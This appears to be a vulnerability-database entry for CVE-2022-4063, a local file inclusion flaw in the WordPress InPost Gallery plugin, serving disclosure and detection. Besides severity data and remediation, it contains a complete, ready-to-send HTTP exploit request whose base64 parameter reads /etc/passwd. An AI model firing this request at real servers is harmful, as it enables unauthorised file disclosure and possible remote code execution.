| Title | WordPress InPost Gallery <2.1.4.1 - Local File Inclusion |
|---|---|
| Author | theamanrawat |
| Severity | Critical |
| Impact | The vulnerability allows an attacker to read arbitrary files on the server, potentially exposing sensitive information or executing malicious code. |
| Remediation | Fixed in version 2.1.4.1. |
| CVSS Score | 9.8 |
| EPSS Score | 0.90722 |
| CVE ID | CVE-2022-4063 |
| CWE ID | CWE-22 |
| Tags | cve2022 cve wp-plugin wp inpost-gallery lfi wordpress unauth wpscan pluginus vkev vuln |
WordPress InPost Gallery plugin before 2.1.4.1 is susceptible to local file inclusion. The plugin insecurely uses PHP’s extract() function when rendering HTML views, which can allow attackers to force inclusion of malicious files and URLs. This, in turn, can enable them to execute code remotely on servers.
GET /wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=inpost_fancy&popup_shortcode_attributes=eyJwYWdlcGF0aCI6ICJmaWxlOi8vL2V0Yy9wYXNzd2QifQ== HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-4063.yaml
🦈 Packet Capture: ⬇️ Download cve-2022-4063.pcap
N/AN/A